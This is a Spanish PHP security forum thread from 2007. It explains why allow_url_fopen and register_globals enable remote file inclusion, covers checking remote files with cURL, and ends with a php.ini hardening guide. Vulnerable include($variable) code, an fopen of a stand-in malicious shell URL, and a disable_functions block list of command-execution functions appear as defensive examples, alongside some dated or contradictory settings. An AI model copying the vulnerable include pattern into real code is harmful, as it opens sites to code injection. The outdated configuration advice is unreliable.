Título: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 01:28 am Hola, he estado leyendo sobre el tema de la seguridad en php, pero hay cosas que no he entendido bien. He leido en varios sitios que para aumentar la seguridad hay que tener deshabilitado allow_url_fopen y no entiendo porque realmente. Esto no es para que el servidor apache te permita tratar las URL como ficheros? Entonces como aumenta la seguridad si está off ?
Otra cosa que no entiendo es que tambien recomiendan desactivar register_globals, tampoco entiendo porque dejando esto en off aumenta la seguridad del servidor; ya que el impedimento que le veo a esto esque no se pueden pasar variables atraves de la url. En fin , me gustaría que alguien me explicara esto un poco mas afondo, gracias Título: Re: seguridad en php Publicado por: alone-in-the-chat en 23 Enero 2007, 02:23 am Primero lo de register_globals Se tiene que tener deshabilitado para que obliguen al programador a manejar las variables que lleguen por el metodo POST o GET de la sgte forma
Código: $_POST['variable'] si el programador manejase una variable llamada "variable" en su sitio y la usara para realizar un include algo asi Código: include($variable); y el include se haria del archivo shell.php mejor dicho incluirias codigo malicioa en tu pagina pero si register_globals estuviese en off esto no funcionaria por que deberia haber un include de la forma Código: include($_GET['variable']); ahora mira allow_url_fopen deshabilita las url remotas en funciones como fopen , file_get_contents, etc por ejemplo tu no podrias hacer esto Código: fopen("http.//www.webmaliciosa.com/shell.php","r") Saludos. Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 02:33 am ahora mira allow_url_fopen deshabilita las url remotas en funciones como fopen , file_get_contents, etc por ejemplo tu no podrias hacer esto Código: fopen("http.//www.webmaliciosa.com/shell.php","r") Saludos. Sigo sin entender esto, pero esto en el caso de estar habilitado comprometeria la seguridad de otros servidores no del tuyo no? pq con esto lo que haces es que tu puedas tratar urls externas como ficheros y no alreves. O esque no lo estoy entendiendo bien?? Título: Re: seguridad en php Publicado por: alone-in-the-chat en 23 Enero 2007, 02:45 am el allow_url_fopen permite eso de arriba de incluir codigo de otros sitios en tu pagina web
deshabilitado esa opcion y la de register global en off seria un poco mas complicado que ataquen tu pagina con RFI Saludos Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 04:04 am entonces teniendo allow_url_fopen desactivado del servidor, como se podria hacer para comprobar por ejemplo si existe una imagen fuera del servidor? pq yo antes esto lo hacia con
Código: if ($file = fopen( "http://www.google.es/imagen.jpg", "r")) pero teniendo esto desactivado no se como hacerlo Título: Re: seguridad en php Publicado por: Ertai en 23 Enero 2007, 12:23 pm Usando sockets en php se podría, aunque es mucho lío.
Si te interesa te puedo pasar alguna dirección para aprender. Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 14:22 pm Si, pasame lo que tengas al respecto porfavor.
He encontrado una libreria que se llama CURL que maneja URLS y te permite leer por ejemplo webs aun teniendo allow_url_fopen off. Tambien se pueden copiar ficheros externos a tu servidor pero lo que no se es como verificar si el archivo que pretendes copiar existe o no. La función que he encontrado para copiar una imagen a tu server sería asi: Código: <? Con esto copias la url_oringen a un destino en tu server, pero claro, si no existe el origen te crea un archivo de 1kb con el nombre de destino, con lo cual es una chapuza. Alguno sabría como hacer la verificación de que el archivo que pretendes copiar existe? Título: Re: seguridad en php Publicado por: alone-in-the-chat en 23 Enero 2007, 15:39 pm te haces mucho lio si lo que deseas es usar curl para bajarte el contenido de una archivo puedes hacerlo asi
Código: $ch = curl_init(); mandame un privado x alli tengo una edicion del php architect con mucha informacion del curl Saludos,. Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 16:56 pm Mandame toda la documentación que tngas si puedes alone.
El codigo que has puesto no es correcto ya que $file siempre va a ser distinto de "", ya que si la ruta es incorrecta te devuelve una pagina de error. Estoy haciendolo de otra manera y creo q casi lo tengo, a ver si posteo en cuanto lo tnga el codigo Título: Re: seguridad en php Publicado por: alone-in-the-chat en 23 Enero 2007, 17:02 pm xDº ok entonces
trabaja con el valor de curl_error(); o curl_errno(); que te devuelve 0 en caso no haya ningun error :P je si lo de file se me paso voy a buscar la e-zine en si Código: if (curl_errno($ch) != 0) Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 17:04 pm Ya está, el codigo sería este:
Código: <?php Con esto si no encuentra el fichero o url genera un codigo de error 404, si todo esta bien genera codigo 200 en un array con identificador http_code. Lo he probado y va perfecto, de todas maneras echale un ojo y dime como lo ves. Probé el tuyo de arriba y si le pasas una imagen que está en un http o ftp y no la encuentra te generaba un archivo vacio. Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 17:06 pm trabaja con el valor de curl_error(); o curl_errno(); que te devuelve 0 en caso no haya ningun error :P je si lo de file se me paso voy a buscar la e-zine en si curl_errno() aunque no encuentre el fichero en la url te va a devolver un valor de como si no hubiese error, por lo menos es lo q he entendido tras hacerle unas pruebas; y creo que es porq realmente no genera un error si no encuentra la url, sino q simplemente te devuelve la pagina de error en caso de q sea http Título: Re: seguridad en php Publicado por: alone-in-the-chat en 23 Enero 2007, 17:09 pm Interesante ;)
lo voy a tener en cuenta para cuando vuelva a usar el curl :D Parece bueno el de arriba y ya encontra el e-zine ;) dame tu correo para enviartela Saludos. Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 17:11 pm Sale debajo del abatar en el muñekito verde tipo msn ;D
Título: Re: seguridad en php Publicado por: bruj0 en 23 Enero 2007, 17:20 pm Ya que me parece interesante el tema este de CURL pongo los datos que guadaría el array tabla de ejemplo de arriba ya que me parece de lo mas interesante los valores que quedan almacenados.
Citar Array ( Aqui se puede ver el tipo de contenido, el codigo que ha generado la consulta, tamaños del archivos, tiempos de descarga, tiempos de conexión, cantidad de datos descargados, velocidad media de la descarga, etc, etc
Título: Re: seguridad en php Publicado por: el-brujo en 23 Enero 2007, 17:31 pm 4)
PHP Editaremos el Archivo php.ini expose_php = Off Para evitar mostrar la versión del PHP en las cabeceras X-Powered-By: PHP, etc. ; Resource Limits ; max_execution_time = 30 --> máximo tiempo de ejecución de un script php. Si en 30 segunos no obtiene respuesta el script se para y sale un "timeout" como errror. memory_limit = 8M --> tamaño maximo que puede consumir un script php. ; File Uploads ; Si queremos enviar ficheros al servidor, aqui lo podemos permitir: file_uploads = On --> si queremos o no queremos upload_tmp_dir = F:webspublic --> el directorio donde se copiarán los archivos que nos suban. upload_max_filesize = 1M --> el tamaño máximo que queremos que nos envien. Una caracteristica muy importante, especialmente para hostings, es la posibilidad de no permitir algunas de las funciones de PHP. La razon es muy sencilla: algunas funciones de PHP como system, proc, etc hacen y permiten ejecutar comandos del sistema, lo que puede provocar problemas de seguridad. Por ejemplo, un usuario quizas quiera ejecutar un comando "no peligroso" como uptime, pero otro usuario mal intencionado puede utilizar otros comandos del sistema para extraer informacion comprometida de la maquina: como id, who, cat, etc. Hosting gratuitos como Lycos, iespana tienen capadas estas funciones por lo comentado arriba, es potencialmente peligroso. Para no permitir la ejecucion concreta de algunas funciones en PHP (no confundir con comandos) es con: disable_functions =exec,system,shell_exec,readfile Aunque las funciones en PHP son exec(), debemos ponerlo sin (). Por ejemplo en Mi Arroba: Warning: fsockopen, pfsockpen, show_source, php_uname, ini_alter, ini_restore, ini_set, getrusage, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link() has been disabled for security reasons. Más restrictivo: Funciones a deshabilitar: exec, system, shell_exec, readfile, passthru, escapeshellcmd, proc_open, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd Otra manera es hacer funcionar el php en safe_mode. Esto se indica en el php.ini y se activa con la opción: Safe_mode = ON o sea modo seguro. Muchos hostings gratuitos lo tienen activado por defecto. De esta manera varias funciones están desactivadas y muchas otras comprueban los permisos a la hora de leer ficheros, etc. http://www.zend.com/manual/features.safe-mode.functions.php allow_url_fopen off --> para no dejar que se abran archivos remotos register_globals off --> desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante). Otra manera intersante de progeter el php es con el magic_quotes_gpc: Copy/paste de http://vulnfact.com/papers/VF-php_secure.txt - Buscamos la directiva magic_quotes_gpc, que quizá este en Off, pues la activamos con On. Esto hace la adición automática del caracter de escape "" en variables tomadas de GET, POST y Cookies. magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data - Para evitar que en lugar de enviar cadenas mal intencionadas, sean almacenadas en bases de datos o archivos de texto. Debemos activar magic_quotes_runtime. magic_quotes_runtime = Off ; magic quotes for runtime-generated data. Para mayor seguridad, podemos hacer que un vhost (virtual host) del apache no tenga php: #bastaría con añadir esta linea dentro del vhost del apache php_admin_flag engine ON O bien podemos deshabilitar el safe_mode en un vhost (dominio) php_admin_flag safe_mode Off Más info: http://es2.php.net/manual/en/configuration.changes.php open_basedir = none En el vhost del Apache: php_admin_value open_basedir /home/user/public_html De esta manera sólo dejamos abrir los ficheros que estén en ese directorio (para evitar problemas). De la misma manera deberíamos logear los errores del php pero no mostrarlos (evitaremos path disclosures, etc). Añadimos varias instrucciones en el vhost del apache: php_flag display_errors Off php_flag log_errors On php_value error_log "/home/uesr/logs/errorsphp" Por si todo esto falla y consiguen una shell: #le damos permisos sólo al root para este fichero chmod 700 /usr/bin/wget # modo invariable chattr +i /usr/bin/wget Lo mismo para los comandos: wget, curl, lynx, w3m, framebuffer, links2 (navegadores) y gcc, cc y demás compiladores o binarios que nos parezcan potencialmente peligrosos. Se podría decir que hasta ahí tenemos mas o menos asegurado PHP. ¿Fácil, no?. Fuente: http://foro.elhacker.net/index.php/topic,251.0.html |